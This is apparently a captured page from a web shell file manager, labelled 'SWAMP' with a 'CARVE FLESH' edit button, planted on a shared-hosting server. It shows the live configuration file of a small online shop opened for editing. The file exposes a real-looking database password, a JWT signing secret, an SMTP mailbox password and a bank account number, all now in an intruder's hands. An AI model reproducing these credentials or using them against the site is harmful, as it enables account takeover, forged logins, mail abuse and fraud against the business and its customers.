░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
lon105.truehost.cloud
LOCATION:
/home/ilrtztmy/floraandcreations.com/config
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: config.php
<?php /** * Flora and Creations — App Configuration * * Place this file at: floraandcreations.com/config/config.php * (i.e. one level ABOVE the /api folder — as a sibling to it) * * IMPORTANT: Never commit this file with real values to a public/shared repo. * Add "config/config.php" to your .gitignore. */ return [ // ── Database ───────────────────────────────────────────── 'db' => [ 'host' => 'localhost', 'dbname' => 'ilrtztmy_flora', // your actual DB name from cPanel 'username' => 'ilrtztmy_flora', // e.g. ilrtztmy_xxxxx 'password' => 'u_]j0VGy=GR&4cGR', 'charset' => 'utf8mb4', 'options' => [ \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, \PDO::ATTR_EMULATE_PREPARES => false, ], ], // ── JWT Auth ───────────────────────────────────────────── 'jwt' => [ // Generate a strong random secret, e.g. run in terminal: // php -r "echo bin2hex(random_bytes(32));" 'secret' => 'e9b2c072bf4220980f5fb6ae905bb03808bf04162e95ab460be90c9e5ef8b6df', 'expiry' => 86400, // seconds (24h) 'issuer' => 'floraandcreations.com', ], // ── CORS ───────────────────────────────────────────────── 'cors' => [ 'allowed_origins' => [ 'https://floraandcreations.com', 'https://www.floraandcreations.com', 'http://localhost:8080', ], 'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'], 'allowed_headers' => ['Content-Type', 'Authorization'], ], // ── Mail (SMTP via cPanel email account) ──────────────── 'mail' => [ 'from_name' => 'Flora and Creations', 'from_addr' => 'orders@floraandcreations.com', 'smtp' => [ // If your PHP app runs on the SAME cPanel account as this // mailbox, 'localhost' usually works and is fastest/most // reliable. Otherwise use mail.floraandcreations.com. 'host' => 'mail.floraandcreations.com', 'port' => 587, // use 465 if your host requires SSL instead of TLS 'encryption' => 'tls', // 'tls' for port 587, 'ssl' for port 465 'username' => 'orders@floraandcreations.com', // full mailbox address 'password' => '^r3_^N7?5UbhyLzM', // the mailbox's actual password from cPanel ], ], // ── Bank Transfer Details (shown in order confirmation emails) ── 'bank_name' => ' Access bank', 'bank_account' => ' 0030258382', 'bank_account_name' => 'Flora and Creations', // ── File Uploads ───────────────────────────────────────── 'uploads' => [ 'allowed_types' => ['image/jpeg', 'image/png', 'image/webp'], 'max_size' => 5 * 1024 * 1024, // 5MB in bytes 'base_path' => __DIR__ . '/../api/assets/uploads', 'products' => 'assets/uploads/products', 'payment_proof' => 'assets/uploads/payment-proof', ], // ── App ────────────────────────────────────────────────── 'app' => [ 'url' => 'https://floraandcreations.com', ], ];
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 config.example.php
PHP
1.9 KB
2026-11-04 12:42
EDIT
📄 config.php
PHP
3.8 KB
2026-07-15 12:18
EDIT